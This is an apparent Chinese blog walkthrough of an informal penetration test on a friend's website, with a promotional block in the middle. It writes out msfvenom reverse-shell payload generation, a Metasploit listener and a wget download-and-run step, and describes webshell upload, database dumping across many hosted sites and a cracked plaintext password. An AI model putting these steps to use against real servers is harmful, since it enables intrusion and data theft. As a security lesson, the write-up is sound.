一个朋友给我发来一个链接,说他做的站准备上线,问我能不能做下测试,既然是朋友,那肯定义不容辞,准备开始搞事情。
先打开网站浏览一下,发现直接跳转到了登录页面,如下:
简单了尝试了下弱口令、万能密码和登录框xss,发现输入框对输入内容做了严格的过滤,非法字符一概不允许,果断放弃。
简单扫描了一下敏感目录,发现一个/adminx,果然这种开放注册的站都会给管理员提供一个专门的登录入口。
(忽略这个 1.zip,那是我打包整站时留下的
尝试爆破,弱口令一波带走,进入后台,赶紧把喜讯报告给朋友,让他“惊喜”一下
寻找上传点
进到后台之后寻找上传点,发现系统设置处有修改站点logo的功能,先传个php小马试试水
我当场就惊了,你后台登录框过滤那么严格结果你这上传点就这就这??好歹做个本地校验啊,你让burpsuite面子往哪搁?
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
连接shell尝试提权
传了马之后使用蚁剑连接,首先就是查看服务器信息,这里有个小插曲,打开虚拟终端之后无论执行什么命令,返回结果都是 ret=127
应该是服务器上有什么安全软件做了过滤,使用蚁剑自带的插件进行bypass
成功绕过
不过蚁剑的这个绕过连接不太稳定,而且速度也很慢,于是琢磨着建立一个meterpreter会话尝试提权。
建立meterpreter 会话
在云服务器上使用msfvenom生成一个后门:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=服务器ip LPORT=监听端口 -f elf > shell.elf
然后在服务器设置一个监听会话:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 服务器ip
set LPORT 监听端口
run
在服务器上使用python建立一个简单的http服务:
python3 -m http.server
在目标主机使用wget下载后门文件并执行,成功获取meterpreter会话
尝试提权受阻
由于目标服务器运行的是 CentOS 8.0,内核版本为 Linux 4.18.0,且我获取到的仅为一个低权限的shell,想要实现提权是很难的,在明知肯定失败的情况下我还是尝试了脏牛等所有的我手上能用的提权exp,均宣告失败,也是意料之中的事。
柳暗花明又一村
提权无果之后,我开始翻动服务器上的各种文件,然后发现了不得了的线索,乖乖这是个站群啊
然后我从每个站的配置文件中都得到了他们对应的数据库以及数据库账号密码,看样子应该是随机生成的,不像是会用作root用户密码的通用密码,如下图:
于是我上传了一个脱裤马,获取到了所有的数据库sql文件,尝试访问所有的数据,以寻求一个可能的通用密码,没想到还真让我找到了,在几个采集站和发卡站的库中,我找到了如下相同的md5值:
md5解密后结果为:vip886.A
尝试ssh连接服务器,成功
至此渗透结束。
总结
弱口令以及通用密码对于安全的危害还是很大的,另外上传功能的处理也是很重要的,一丁点防护都没有的上传点我是真头一回见。